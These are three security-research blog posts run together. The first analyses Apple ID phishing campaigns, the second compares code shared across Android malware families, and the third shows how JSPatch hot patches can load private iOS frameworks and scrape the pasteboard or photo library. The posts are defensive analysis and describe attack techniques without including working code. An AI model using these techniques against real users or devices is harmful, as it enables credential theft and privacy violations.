Burp Suite is a tool to secure and penetrate web applications: https://portswigger[.]net/burp/.  The Burp session of a user supplying login and password to the HTML form is shown in Figure 3. Here we can see 5 variables (u,p,x,y and cc) and a cookie being sent via HTTP POST method to the page save.php.

Figure 3: Burp session

After the user enters a login and password, they are redirected and presented with the following Chinese Apple page, seen in Figure 4:  http://iClouddd[.]top/ask2.asp?MNWTK=25077126670584.html

Figure 4: Phishing page

On this page, all the links correctly point towards Apple[.]com, as can be seen in the HTML:

  * Apple <http://www.Apple[.]com/cn/>
  * <http://www.Apple[.]com/cn/shop/goto/bag>
  * Apple <http://www.Apple[.]com/cn/>
  * Mac <http://www.Apple[.]com/cn/mac/>
  * iPad <http://www.Apple[.]com/cn/ipad/>
  * iPhone <http://www.Apple[.]com/cn/iphone/>
  * Watch <http://www.Apple[.]com/cn/watch/>
  * Music <http://www.Apple[.]com/cn/music/>
  * <http://www.Apple[.]com/cn/support/>
  * Apple[.]com <http://www.Apple[.]com/cn/search>
  * <http://www.Apple[.]com/cn/shop/goto/bag>

Apple ID <https://Appleid.Apple[.]com/account/home>

  * <https://Appleid.Apple[.]com/zh_CN/signin>
  * Apple ID <https://Appleid.Apple[.]com/zh_CN/account>
  * <https://Appleid.Apple[.]com/zh_CN/#!faq>

When translated using Google Translate, the Chinese text written in the middle of the page (Figure 4) reads: “Verify your birth date or your device screen lock to continue”.

Next the user was presented with an ask3.asp webpage shown in Figure 5.

 

Figure 5: Phishing form asking for more details from victims

Translation: “Please verify your security question”

As shown in Figure 5, the page asks the user to answer three security questions, followed by redirection to an ok.asp page (Figure 6) on the same domain:

Figure 6: Successful submission phishing page

The final link points back to Apple[.]com. The complete trail using Burp suite tool is shown in Figure 7.

Figure 7: Burp session

We noticed that if the user tried to supply the same Apple ID twice, they got redirected to the page save[.]asp shown in Figure 8. Clicking OK on the popup redirected the user back to the main page.

Figure 8: Error prompt generated by phishing page

Domain Registration Information

We found that the registrant names for all of these phony Apple domains were these Chinese names: “Yu Hu” and “Wu Yan”, “Yu Fei” and “Yu Zhe”. Moreover, all these domains were registered with qq[.].com email addresses. Details are available in Table 1 below.

Table 1: Domain registration information

Looking closer at our malicious domain detection system, we observed that the system had been seeing similar domains at an increasing frequency. Analyzing the registration information, we found some interesting patterns. Since January 2016 to the time of writing, the system marked around 240 unique domains that have something to do with Apple ID, iCloud or iTunes. From these 240 domains, we identified 154 unique email registrants with 64 unique emails pointing to qq[.]com, 36 unique Gmail email accounts, and 18 unique email addresses each belonging to 163[.]com and 126[.]com, and a couple more registered with 139[.]com.

This information is vital, as it could be used in following different ways:

  • The domain list provided here could be used by Apple customers as a blacklist; they can avoid browsing to such domains and providing credentials to any of the listed domains, whether they receive them via SMS, email or via any instant messaging service.
  • The Apple credential phishing detection teams could use this information, as it highlights that all domains registered with these email addresses, registrant names and addresses, as well as their combinations, are potentially malicious and serving phishing content. This information could be used to block all future domains registered by the same entities.
  • Patterns emerging from this data reveal that for such campaigns, attackers prefer to use email addresses from Chinese services such as qq.com, 126.com and 138.com. It has also been observed that instead of names, the attackers have used numbers (such as 545454@qq[.]com and 891495200@qq[.]com) in their email addresses.
Geo-location:

As seen in Figure 9, we observed all of these domains pointing to 13 unique IP addresses distributed across the U.S. and China, suggesting that these attacks were perhaps targeting users from these regions.

Figure 9: Geo-location plot of the IPs for this campaign

Campaign 2: British Apples Gone Bad

Our email attacks research team unearthed another targeted phishing campaign against Apple users in the UK. Table 2 is a list of 86 Apple phishing domains that we observed since January 2016.

 

Figure 9: Geo-location plot of the IPs for this campaign
Phishing Content and Analysis

All of these domains have been serving the same phishing content. A simple HTTP GET (via the wget utility) to the domain’s main page reveals HTML code containing a meta-refresh redirection to the signin.php page.

A wget session is shown here:

$ wget http://manageAppleid84913[.]net

--2016-04-05 16:47:44--  http://manageAppleid84913[.]net/

Resolving manageAppleid84913[.]net (manageAppleid84913[.]net)... 109.123.121.10

Connecting to manageAppleid84913[.]net (manageAppleid84913[.]net)|109.123.121.10|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 203 [text/html]

Saving to: ‘index.html.1’

 

100%[============================================================================================================>] 203         --.-K/s   in 0s      

 

2016-04-05 16:47:44 (37.8 MB/s) - ‘index.html.1’ saved [203/203]

Content of the page is displayed here:

<meta http-equiv="refresh" content="0;URL=signin.php?c=ODcyNTA5MTJGUjU0OTYwNTQ5NDc3MTk3NTAxODE2ODYzNDgxODg2NzU3NA==&log=1&sFR=ODIxNjMzMzMxODA0NTE4MTMxNTQ5c2RmZ3M1ZjRzNjQyMDQzNjgzODcyOTU2MjU5&email=" />

 

This code redirects the browser to this URL/page:

http://manageAppleid84913[.]net/signin.php?c=OTYwNzUyNjlGUjU0OTYwNTQ5NDY0MDgxMjQ4OTQ5OTk0MTQ3MDc1NjYyOA==&log=1&sFR=ODc0MjQyNTEyNzMyODE1NTMxNTQ5c2RmZ3M1ZjRzNjQzMDU5MjUzMzg4NDMzNzE1&email=#

This loads a highly obfuscated JavaScript in the web browser that, on execution, generates the phishing HTML code at runtime to evade signature-based phishing detection systems. This is seen in Figure 17 in Appendix 2, with a deobfuscated version of the HTML code being shown in Figure 18.

This code renders in the browser to create the fake Apple ID phishing webpage seen in Figure 10, which resembles the authentic Apple page https://Appleid.Apple[.]com/.

Figure 10: Screenshot of the phishing page as seen by the victims in the browser

On submitting a fake username and password, the form gets submitted to signin-box-disabled.php and the JavaScript and jQuery creates the page seen in Figure 11, informing the user that the Apple ID provided has been locked and the user must unlock it:

Figure 11: Phishing page suggesting victims to unlock their Apple IDs

, which requests personal information such as name, date of birth, telephone numbers, addresses, credit card details and security questions, as shown in Figure 12. While filling out this form, we observed that the country part of the address drop-down menu only allowed address options from England, Scotland and Wales, suggesting that this attack is targeting these regions onlyClicking on unlock leads the user to the page profile.php .

Figure 12: User information requested by phishing page

On submitting false information on this form, the user would get a page asking to wait while the entered information is confirmed or verified. After a couple of seconds of processing, the page congratulates the user that their Apple ID was successfully unlocked (Figure 13). As seen in Figure 14, the user is then redirected to the authentic Apple page at https://Appleid.Apple[.]com/.

Figure 13: Account verification page displayed by the phishing site

Figure 14: After a successful attack, victims are redirected to the real apple login page

Domain Registration Information

It was observed that all of these domains used the whois privacy protection feature offered by many registrars. This feature enables the registrants to hide their personal and contact information which otherwise is available via the whois service. These domains were registered with the email “contact@privacyprotect[.]org

Geo-location

All these domains (Table 2) were pointing to IPs in the UK, suggesting that they were hosted in the UK.

Conclusion

Cybercriminals are targeting Apple users by launching phishing campaigns focused on stealing Apple IDs, as well as personal, financial and other information. We witnessed a high frequency of these targeted phishing attacks in the first quarter of 2016. A few phishing campaigns were particularly interesting because of their sophisticated evasion techniques (using code encoding and obfuscation), geographical targets, and because the same content was being served across multiple domains, which indicates the same phishing kits were being used.

One campaign we detected in March used sophisticated encoding/encryption techniques to evade phishing detection systems and provided a realistic looking Apple/iCloud interface. The majority of these domains were registered by individuals having email addresses pointing to Chinese services – registrant email, contact and address information points to China. Additionally, the domains were serving phony Apple webpages in Chinese, indicating that they were targeting Chinese users.

The second campaign we detected was launched against Apple users in the UK. This campaign used sophisticated evasion techniques (such as code obfuscation) to evade phishing detection systems and, whenever successful, was able to collect Apple IDs and personal and credit card information from its victims.

Organizations could use the information provided in this blog to protect their users from such sophisticated phishing campaigns by writing signatures for their phishing detection and prevention systems.

Credits and Acknowledgements

Special thanks to Yichong Lin, Jimmy Su, Mary Grace and Gaurav Dalal for their support.

Appendix 1

Figure 15: Obfuscated JavaScript served by the phishing site. In Green we have highlighted functions with: number system converters, pseudo-random pattern decoders, bit level binary operas

Figure 16: Obfuscated JS served by the phishing site. In Green we have highlighted functions with: number system converters, pseudo-random pattern decoders, bit level binary operaters. While in Red we have: XOR decoders.

Appendix 2

Figure 17: Obfuscated JavaScript content served by the site

Figure 18: Deobfuscated HTML content

For more information on phishing, please visit:

https://support.apple.com/HT203126
http://www.apple.com/legal/more-resources/phishing/
https://support.apple.com/HT204759

 

A Growing Number of Android Malware Families Believed to Have a Common Origin: A Study Based on Binary Code

Introduction

On Feb. 19, IBM XForce researchers released an intelligence report [1] stating that the source code for GM Bot was leaked to a crimeware forum in December 2015. GM Bot is a sophisticated Android malware family that emerged in the Russian-speaking cybercrime underground in late 2014. IBM also claimed that several Android malware families recently described in the security community were actually variants of GM Bot, including Bankosy[2], MazarBot[3], and the SlemBunk malware recently described by FireEye[4, 5].

Security vendors may differ in their definition of a malware “variant.” The term may refer to anything from almost identical code with slight modifications, to code that has superficial similarities (such as similar network traffic) yet is otherwise very different.

Using IBM’s reporting, we compared their GM Bot samples to SlemBunk. Based on the disassembled code of these two families, we agree that there are enough code similarities to indicate that GM Bot shares a common origin with SlemBunk. Interestingly, our research led us to identify an earlier malware family named SimpleLocker – the first known file-encryption ransomware on Android [6] – that also shares a common origin with these banking trojan families.

GM Bot and SlemBunk

Our analysis showed that the four GM Bot samples referenced by IBM researchers all share the same major components as SlemBunk. Figure 1 of our earlier report [4] is reproduced here, which shows the major components of SlemBunk and its corresponding class names:

  • ServiceStarter: An Android receiver that will be invoked once an app is launched or the device boots up. Its functionality is to start the monitoring service, MainService, in the background.
  • MainService: An Android service that runs in the background and monitors all running processes on the device. It prompts the user with an overlay view that resembles the legitimate app when that app is launched. This monitoring service also communicates with a remote host by sending the initial device data and notifying of device status and app preferences.
  • MessageReceiver: An Android receiver that handles incoming text messages. In addition to the functionality of intercepting the authentication code from the bank, this component also acts as the bot client for remote command and control (C2).
  • MyDeviceAdminReceiver: A receiver that requests administrator access to the Android device the first time the app is launched. This makes the app more difficult to remove.
  • Customized UI views: Activity classes that present fake login pages that mimic those of the real banking apps or social apps to phish for banking or social account credentials.

Figure 1. Major components of SlemBunk malware family

The first three GM Bot samples have the same package name as our SlemBunk sample. In addition, the GM Bot samples have five of the same major components, including the same component names, as the SlemBunk sample in Figure 1.

The fourth GM Bot sample has a different initial package name, but unpacks the real payload at runtime. The unpacked payload has the same major components as the SlemBunk sample, with a few minor changes on the class names: MessageReceiver replaced with buziabuzia, and MyDeviceAdminReceiver replaced with MDRA.

Figure 2. Code Structure Comparison between GM Bot and SlemBunk

Figure 2 shows the code structure similarity between one GM Bot sample and one SlemBunk sample (SHA256 9425fca578661392f3b12e1f1d83b8307bfb94340ae797c2f121d365852a775e and SHA256 e072a7a8d8e5a562342121408493937ecdedf6f357b1687e6da257f40d0c6b27 for GM Bot and SlemBunk, respectively). From this figure, we can see that the five major components we discussed in our previous post [4] are also present in GM Bot sample. Other common classes include:

  • Main, the launching activity of both samples.
  • MyApplication, the application class that starts before any other activities of both samples.
  • SDCardServiceStarter, another receiver that monitors the status of MainService and restarts it when it dies.

Among all the above components and classes, MainService is the most critical one. It is started by class Main at the launching time, keeps working in the background to monitor the top running process, and overlays a phishing view when a victim app (e.g., some mobile banking app) is recognized. To keep MainService running continuously, malware authors added two receivers – ServiceStarter and SDCardServiceStarter – to check its status when particular system events are received. Both GM Bot and SlemBunk samples share the same architecture. Figure 3 shows the major code of class SDCardServiceStarter to demonstrate how GM Bot and SlemBunk use the same mechanism to keep MainService running.

Figure 3. Method onReceive of SDCardServiceStarter for GM Bot and SlemBunk

From this figure, we can see that GM Bot and SlemBunk use almost identical code to keep MainService running. Note that both samples check the country in system locale and avoid starting MainService when they find the country is Russia. The only difference is that GM Bot applies renaming obfuscation to some classes, methods and fields. For example, static variable “MainService;->a” in GM Bot has the same role as static variable “MainService;->isRunning” in SlemBunk. Malware authors commonly use this trick to make their code harder to understand. However this won’t change the fact that the underlying codes share the same origin.

Figure 4 shows the core code of class MainService to demonstrate that GM Bot and SlemBunk actually have the same logic for main service. In Android, when a service is started its onCreate method will be called. In method onCreate of both samples, a static variable is first set to true. In GM Bot, this variable is named “a”, while in SlemBunk it is named “isRunning”. Then both will move forward to read an app particular preference. Note that the preferences in both samples have the same name: “AppPrefs”. The last tasks of these two main services are also the same. Specifically, in order to check whether any victim apps are running, a runnable thread is scheduled. If a victim app is running, a phishing view is overlaid on top of that of the victim app. The only difference here is also on the naming of the runnable thread. Class “d” in GM Bot and class “MainService$2” in SlemBunk are employed respectively to conduct the same credential phishing task.

Figure 4. Class MainService for GM Bot and SlemBunk

In summary, our investigation into the binary code similarities supports IBM’s assertion that GM Bot and SlemBunk share the same origin.

SimpleLocker and SlemBunk

IBM noted that GM Bot emerged in late 2014 in the Russian-speaking cybercrime underground. In our research, we noticed that an earlier piece of Android malware named SimpleLocker also has a code structure similar to SlemBunk and GM Bot. However, SimpleLocker has a different financial incentive: to demand a ransom from the victim. After landing on an Android device, SimpleLocker scans the device for certain file types, encrypts them, and then demands a ransom from the user in order to decrypt the files. Before SimpleLocker’s emergence, there were other types of Android ransomware that would lock the screen; however, SimpleLocker is believed to be the first file-encryption ransomware on Android.

The earliest report on SimpleLocker we identified was published by ESET in June 2014 [6]. However, we found an earlier sample in our malware database from May 2014 (SHA256 edff7bb1d351eafbe2b4af1242d11faf7262b87dfc619e977d2af482453b16cb). The compile date of this app was May 20, 2014. We compared this SimpleLocker sample to one of our SlemBunk samples (SHA256 f3341fc8d7248b3d4e58a3ee87e4e675b5f6fc37f28644a2c6ca9c4d11c92b96) using the same methods used to compare GM Bot and SlemBunk.

Figure 5 shows the code structure comparison between these two samples. Note that this SimpleLocker variant also has the major components ServiceStarter and MainService, both used by SlemBunk. However, the purpose of the main service here is not to monitor running apps and provide phishing UIs to steal banking credentials. Instead, SimpleLocker’s main service component scans the device for victim files and calls the file encryption class to encrypt files and demand a ransom. The major differences in the SimpleLocker code are shown in the red boxes: AesCrypt and FileEncryptor. Other common classes include:

  • Main, the launching activity of both samples.
  • SDCardServiceStarter, another receiver that monitors the status of MainService and restarts it when it dies.
  • Tor and OnionKit, third-party libraries for private communication.
  • TorSender, HttpSender and Utils, supporting classes to provide code for CnC communication and for collecting device information.

Figure 5. Code structure comparison between SimpleLocker and SlemBunk samples

Finally, we located another SimpleLocker sample (SHA256 304efc1f0b5b8c6c711c03a13d5d8b90755cec00cac1218a7a4a22b091ffb30b) from July 2014, about two months after the first SimpleLocker sample. This new sample did not use Tor for private communications, but shared four of the five major components as the SlemBunk sample (SHA256: f3341fc8d7248b3d4e58a3ee87e4e675b5f6fc37f28644a2c6ca9c4d11c92b96). Figure 6 shows the code structure comparison between these two samples.

Figure 6. Code structure comparison between SimpleLocker and SlemBunk variants

As we can see in Figure 6, the new SimpleLocker sample used a packaging mechanism similar to SlemBunk, putting HttpSender and Utils into a sub-package named “utils”. It also added two other major components that were originally only seen in SlemBunk: MessageReceiver and MyDeviceAdminReceiver. In total, this SimpleLocker variant shares four out of five major components with SlemBunk.

Figure 7 shows the major code of MessageReceiver in the previous samples to demonstrate that SimpleLocker and SlemBunk use basically the same process and logic to communicate with the CnC server. First, class MessageReceiver registers itself to handle incoming short messages, whose arrival will trigger its method onReceive. As seen from the figure, the main logics here are basically the same for SimpleLocker and SlemBunk. They first read the value of a particular key from app preferences. Note that the names for the key and shared preference are the same for these two different malware families: key is named “CHECKING_NUMBER_DONE” and preference named “AppPrefs”.  The following steps call method retrieveMessage to retrieve the short messages, and then forward the control flow to class SmsProcessor. The only difference here is that SimpleLocker adds one extra method named processControlCommand to forward control flow.

Class SmsProcessor defines the CnC commands supported by the malware families. Looking into class SmsProcessor, we identified more evidence that SimpleLocker and SlemBunk are of the same origin. First, the CnC commands supported by SimpleLocker are actually a subset of those supported by SlemBunk. In SimpleLocker, CnC commands include "intercept_sms_start", "intercept_sms_stop", "control_number" and "send_sms", all of which are also present in SlemBunk sample. What is more, in both SimpleLocker and SlemBunk there is a common prefix “#” before the actual CnC command. This kind of peculiarity is a good indicator that SimpleLocker and SlemBunk share a common origin.

Figure 7. Class MessageReceiver for SimpleLocker and SlemBunk variants

The task of class MyDeviceAdminReceiver is to request device administrator privilege, which makes these malware families harder to remove. SimpleLocker and SlemBunk are also highly similar in this respect, supporting the same set of device admin relevant functionalities.

At this point, we can see that these variants of SimpleLocker and SlemBunk share four out of five major components and share the same supporting utilities. The only difference is in the final payload, with SlemBunk phishing for banking credentials while SimpleLocker encrypts certain files and demands ransom. This leads us to believe that SimpleLocker came from the same original code base as SlemBunk.

Conclusion

Our analysis confirms that several Android malware families share a common origin, and that the first known file-encrypting ransomware for Android – SimpleLocker – is based on the same code as several banking trojans. Additional research may identify other related malware families.

Individual developers in the cybercrime underground have been proficient in writing and customizing malware. As we have shown, malware with specific and varied purposes can be built on a large base of shared code used for common functions such as gaining administrative privileges, starting and restarting services, and CnC communications. This is apparent simply from looking at known samples related to GM Bot – from SimpleLocker that is used for encryption and ransomware, to SlemBunk that is used as a banking Trojan and for credential theft, to the full-featured MazarBot backdoor.

With the leak of the GM Bot source code, the number of customized Android malware families based on this code will certainly increase. Binary code-based study, one of FireEye Labs’ major research tools, can help us better characterize and track malware families and their relationships, even without direct access to the source code. Fortunately, the similarities across these malware families make them easier to identify, ensuring that FireEye customers are well protected.

References:

[1]. Android Malware About to Get Worse: GM Bot Source Code Leaked
[2]. Android.Bankosy: All ears on voice call-based 2FA
[3]. MazarBOT: Top class Android datastealer
[4]. SLEMBUNK: AN EVOLVING ANDROID TROJAN FAMILY TARGETING USERS OF WORLDWIDE BANKING APPS
[5]. SLEMBUNK PART II: PROLONGED ATTACK CHAIN AND BETTER-ORGANIZED CAMPAIGN
[6]. ESET Analyzes Simplocker – First Android File-Encrypting, TOR-enabled Ransomware

 

Hot or Not? The Benefits and Risks of iOS Remote Hot Patching

Introduction

Apple has made a significant effort to build and maintain a healthy and clean app ecosystem. The essential contributing component to this status quo is the App Store, which is protected by a thorough vetting process that scrutinizes all submitted applications. While the process is intended to protect iOS users and ensure apps meet Apple’s standards for security and integrity, developers who have experienced the process would agree that it can be difficult and time consuming. The same process then must be followed when publishing a new release or issuing a patched version of an existing app, which can be extremely frustrating when a developer wants to patch a severe bug or security vulnerability impacting existing app users.

The developer community has been searching for alternatives, and with some success. A set of solutions now offer a more efficient iOS app deployment experience, giving app developers the ability to update their code as they see fit and deploy patches to users’ devices immediately. While these technologies provide a more autonomous development experience, they do not meet the same security standards that Apple has attempted to maintain. Worse, these methods might be the Achilles heel to the walled garden of Apple’s App Store.

In this series of articles, FireEye mobile security researchers examine the security risks of iOS apps that employ these alternate solutions for hot patching, and seek to prevent unintended security compromises in the iOS app ecosystem.

As the first installment of this series, we look into an open source solution: JSPatch.

Episode 1. JSPatch

JSPatch is an open source project – built on top of Apple’s JavaScriptCore framework – with the goal of providing an alternative to Apple’s arduous and unpredictable review process in situations where the timely delivery of hot fixes for severe bugs is vital. In the author’s own words (bold added for emphasis):

JSPatch bridges Objective-C and JavaScript using the Objective-C runtime. You can call any Objective-C class and method in JavaScript by just including a small engine. That makes the APP obtaining the power of script language: add modules or replacing Objective-C code to fix bugs dynamically.

JSPatch Machinery

The JSPatch author, using the alias Bang, provided a common example of how JSPatch can be used to update a faulty iOS app on his blog:

Figure 1 shows an Objc implementation of a UITableViewController with class name JPTableViewController that provides data population via the selector tableView:didSelectRowAtIndexPath:. At line 5, it retrieves data from the backend source represented by an array of strings with an index mapping to the selected row number. In many cases, this functions fine; however, when the row index exceeds the range of the data source array, which can easily happen, the program will throw an exception and subsequently cause the app to crash. Crashing an app is never an appealing experience for users.

Figure 1. Buggy Objc code without JSPatch

Within the realm of Apple-provided technologies, the way to remediate this situation is to rebuild the application with updated code to fix the bug and submit the newly built app to the App Store for approval. While the review process for updated apps often takes less time than the initial submission review, the process can still be time-consuming, unpredictable, and can potentially cause loss of business if app fixes are not delivered in a timely and controlled manner.

However, if the original app is embedded with the JSPatch engine, its behavior can be changed according to the JavaScript code loaded at runtime. This JavaScript file (hxxp://cnbang.net/bugfix.JS in the above example) is remotely controlled by the app developer. It is delivered to the app through network communication.   

Figure 2 shows the standard way of setting up JSPatch in an iOS app. This code would allow download and execution of a JavaScript patch when the app starts:

Figure 2. Objc code enabling JSPatch in an app

JSPatch is indeed lightweight. In this case, the only additional work to enable it is to add seven lines of code to the application:didFiishLaunchingWithOptions: selector. Figure 3 shows the JavaScript downloaded from hxxp://cnbang.net/bugfix.JS that is used to patch the faulty code.

Figure 3. JSPatch hot patch fixing index out of bound bug in Figure 1

Malicious Capability Showcase

JSPatch is a boon to iOS developers. In the right hands, it can be used to quickly and effectively deploy patches and code updates. But in a non-utopian world like ours, we need to assume that bad actors will leverage this technology for unintended purposes. Specifically, if an attacker is able to tamper with the content of JavaScript file that is eventually loaded by the app, a range of attacks can be successfully performed against an App Store application.

Target App

We randomly picked a legitimate app [1] with JSPatch enabled from the App Store. The logistics of setting up the JSPatch platform and resources for code patching are packaged in this routine [AppDelegate excuteJSPatch:], as shown in Figure 4 [2]:

Figure 4. JSPatch setup in the targeted app

There is a sequence of flow from the app entry point (in this case the AppDelegate class) to where the JavaScript file containing updates or patch code is written to the file system. This process involves communicating with the remote server to retrieve the patch code. On our test device, we eventually found that the JavaScript patch code is hashed and stored at the location shown in Figure 5. The corresponding content is shown in Figure 6 in Base64-encoded format:

Figure 5. Location of downloaded JavaScript on test device


Figure 6. Encrypted patch content

While the target app developer has taken steps to secure this sensitive data from prying eyes by employing Base64 encoding on top of a symmetric encryption, one can easily render this attempt futile by running a few commands through Cycript. The patch code, once decrypted, is shown in Figure 7:

Figure 7. Decrypted original patch content retrieved from remote server

This is the content that gets loaded and executed by JPEngine, the component provided by the JSPatch framework embedded in the target app. To change the behavior of the running app, one simply needs to modify the content of this JavaScript blob. Below we show several possibilities for performing malicious actions that are against Apple’s App Review Guidelines. Although the examples below are from a jailbroken device, we have demonstrated that they will work on non-jailbroken devices as well.

Example 1: Load arbitrary public frameworks into app process

a.     Example public framework: /System/Library/Frameworks/Accounts.framework
b.     Private APIs used by public framework: [ACAccountStore init], [ACAccountStore allAccountTypes]

The target app discussed above, when running, loads the frameworks shown in Figure 8 into its process memory:


Figure 8. iOS frameworks loaded by the target app

Note that the list above – generated from the Apple-approved iOS app binary – does not contain Accounts.framework. Therefore, any “dangerous” or “risky” operations that rely on the APIs provided by this framework are not expected to take place. However, the JavaScript code shown in Figure 9 invalidates that assumption.

Figure 9. JavaScript patch code that loads the Accounts.framework into the app process

If this JavaScript code were delivered to the target app as a hot patch, it could dynamically load a public framework, Accounts.framework, into the running process. Once the framework is loaded, the script has full access to all of the framework’s APIs. Figure 10 shows the outcome of executing the private API [ACAccountStore allAccountTypes], which outputs 36 account types on the test device. This added behavior does not require the app to be rebuilt, nor does it require another review through the App Store.  

Figure 10. The screenshot of the console log for utilizing Accounts.framework

The above demonstration highlights a serious security risk for iOS app users and app developers. The JSPatch technology potentially allows an individual to effectively circumvent the protection imposed by the App Store review process and perform arbitrary and powerful actions on the device without consent from the users. The dynamic nature of the code makes it extremely difficult to catch a malicious actor in action. We are not providing any meaningful exploit in this blog post, but instead only pointing out the possibilities to avoid low-skilled attackers taking advantage of off-the-shelf exploits.

Example 2: Load arbitrary private frameworks into app process

a.     Example private framework: /System/Library/PrivateFrameworks/BluetoothManager.framework
b.   
Private APIs used by example framework: [BluetoothManager connectedDevices], [BluetoothDevice name]

Similar to the previous example, a malicious JSPatch JavaScript could instruct an app to load an arbitrary private framework, such as the BluetoothManager.framework, and further invoke private APIs to change the state of the device. iOS private frameworks are intended to be used solely by Apple-provided apps. While there is no official public documentation regarding the usage of private frameworks, it is common knowledge that many of them provide private access to low-level system functionalities that may allow an app to circumvent security controls put in place by the OS. The App Store has a strict policy prohibiting third party apps from using any private frameworks. However, it is worth pointing out that the operating system does not differentiate Apple apps’ private framework usage and a third party app’s private framework usage. It is simply the App Store policy that bans third party use.

With JSPatch, this restriction has no effect because the JavaScript file is not subject to the App Store’s vetting. Figure 11 shows the code for loading the BluetoothManager.framework and utilizing APIs to read and change the states of Bluetooth of the host device. Figure 12 shows the corresponding console outputs.

Figure 11. JavaScript patch code that loads the BluetoothManager.framework into the app process

 

Figure 12. The screenshot of the console log for utilizing BluetoothManager.framework

Example 3: Change system properties via private API

a.     Example dependent framework: b/System/Library/Frameworks/CoreTelephony.framework
b.    Private API used by example framework: [CTTelephonyNetworkInfo updateRadioAccessTechnology:]

Consider a target app that is built with the public framework CoreTelephony.framework. Apple documentation explains that this framework allows one to obtain information about a user’s home cellular service provider. It exposes several public APIs to developers to achieve this, but [CTTelephonyNetworkInfo updateRadioAccessTechnology:] is not one of them. However, as shown in Figure 13 and Figure 14, we can successfully use this private API to update the device cellular service status by changing the radio technology from CTRadioAccessTechnologyHSDPA to CTRadioAccessTechnologyLTE without Apple’s consent.

Figure 13. JavaScript code that changes the Radio Access Technology of the test device

 

Figure 14. Corresponding execution output of the above JavaScript code via Private API

Example 4: Access to Photo Album (sensitive data) via public APIs

a.     Example loaded framework: /System/Library/Frameworks/Photos.framework
b.     Public APIs: [PHAsset fetchAssetsWithMediaType:options:]

Privacy violations are a major concern for mobile users. Any actions performed on a device that involve accessing and using sensitive user data (including contacts, text messages, photos, videos, notes, call logs, and so on) should be justified within the context of the service provided by the app. However, Figure 15 and Figure 16 show how we can access the user’s photo album by leveraging the private APIs from built-in Photo.framework to harvest the metadata of photos. With a bit more code, one can export this image data to a remote location without the user’s knowledge.

Figure 15. JavaScript code that access the Photo Library

 

Figure 16. Corresponding output of the above JavaScript in Figure 15

Example 5: Access to Pasteboard in real time

a.     Example Framework: /System/Library/Frameworks/UIKit.framework
b
.     APIs: [UIPasteboard strings], [UIPasteboard items], [UIPasteboard string]

iOS pasteboard is one of the mechanisms that allows a user to transfer data between apps. Some security researchers have raised concerns regarding its security, since pasteboard can be used to transfer sensitive data such as accounts and credentials. Figure 17 shows a simple demo function in JavaScript that, when running on the JSPatch framework, scrapes all the string contents off the pasteboard and displays them on the console. Figure 18 shows the output when this function is injected into the target application on a device.

Figure 17. JavaScript code that scraps the pasteboard which might contain sensitive information

 

Figure 18. Console output of the scraped content from pasteboard by code in Figure 17

We have shown five examples utilizing JSPatch as an attack vector, and the potential for more is only constrained by an attacker’s imagination and creativity.

Future Attacks

Much of iOS’ native capability is dependent on C functions (for example, dlopen(), UIGetImageScreen()). Due to the fact that C functions cannot be reflectively invoked, JSPatch does not support direct Objective C to JavaScript mapping. In order to use C functions in JavaScript, an app must implement JSExtension, which packs the C function into corresponding interfaces that are further exported to JavaScript.

This dependency on additional Objective C code to expose C functions casts limitations on the ability of a malicious actor to perform operations such as taking stealth screenshots, sending and intercepting text messages without consent, stealing photos from the gallery, or stealthily recording audio. But these limitations can be easily lifted should an app developer choose to add a bit more Objective C code to wrap and expose these C functions. In fact, the JSPatch author could offer such support to app developers in the near future through more usable and convenient interfaces, granted there is enough demand. In this case, all of the above operations could become reality without Apple’s consent.

Security Impact

It is a general belief that iOS devices are more secure than mobile devices running other operating systems; however, one has to bear in mind that the elements contributing to this status quo are multi-faceted. The core of Apple’s security controls to provide and maintain a secure ecosystem for iOS users and developers is their walled garden – the App Store. Apps distributed through the App Store are significantly more difficult to leverage in meaningful attacks. To this day, two main attack vectors make up all previously disclosed attacks against the iOS platform:

1.     Jailbroken iOS devices that allow unsigned or ill-signed apps to be installed due to the disabled signature checking function. In some cases, the sandbox restrictions are lifted, which allows apps to function outside of the sandbox.

2.     App sideloading via Enterprise Certifications on non-jailbroken devices. FireEye published a series of reports that detailed attacks exploiting this attack surface, and recent reports show a continued focus on this known attack vector.

However, as we have highlighted in this report, JSPatch offers an attack vector that does not require sideloading or a jailbroken device for an attack to succeed. It is not difficult to identify that the JavaScript content, which is not subject to any review process, is a potential Achilles heel in this app development architecture. Since there are few to zero security measures to ensure the security properties of this file, the following scenarios for attacking the app and the user are conceivable:

●      Precondition: 1) App embeds JSPatch platform; 2) App Developer has malicious intentions.

○      Consequences: The app developer can utilize all the Private APIs provided by the loaded frameworks to perform actions that are not advertised to Apple or the users. Since the developer has control of the JavaScript code, the malicious behavior can be temporary, dynamic, stealthy, and evasive. Such an attack, when in place, will pose a big risk to all stakeholders involved.

○      Figure 19 demonstrates a scenario of this type of attack:

Figure 19. Threat model for JSPatch used by a malicious app developer

●      Precondition: 1) Third-party ad SDK embeds JSPatch platform; 2) Host app uses the ad SDK; 3) Ad SDK provider has malicious intention against the host app.

○      Consequences: 1) Ad SDK can exfiltrate data from the app sandbox; 2) Ad SDK can change the behavior of the host app; 3) Ad SDK can perform actions on behalf of the host app against the OS.

○      This attack scenario is shown in Figure 20:

Figure 20. Threat model for JSPatch used by a third-party library provider

The FireEye discovery of iBackdoor in 2015 is an alarming example of displaced trust within the iOS development community, and serves as a sneak peek into this type of overlooked threat.

●      Precondition: 1) App embeds JSPatch platform; 2) App Developer is legitimate; 3) App does not protect the communication from the client to the server for JavaScript content; 4) A malicious actor performs a man-in-the-middle (MITM) attack that tampers with the JavaScript content.

○      Consequences: MITM can exfiltrate app contents within the sandbox; MITM can perform actions through Private API by leveraging host app as a proxy.

○      This attack scenario is shown in Figure 21:

           Figure 21. Threat model for JSPatch used by an app targeted by MITM

Field Survey

JSPatch originated from China. Since its release in 2015, it has garnered success within the Chinese region. According to JSPatch, many popular and high profile Chinese apps have adopted this technology. FireEye app scanning found a total 1,220 apps in the App Store that utilize JSPatch.

We also found that developers outside of China have adopted this framework. On one hand, this indicates that JSPatch is a useful and desirable technology in the iOS development world. On the other hand, it signals that users are at greater risk of being attacked – particularly if precautions are not taken to ensure the security of all parties involved. Despite the risks posed by JSPatch, FireEye has not identified any of the aforementioned applications as being malicious.  

Food For Thought

Many applaud Apple’s App Store for helping to keep iOS malware at bay. While it is undeniably true that the App Store plays a critical role in winning this acclaim, it is at the cost of app developers’ time and resources.

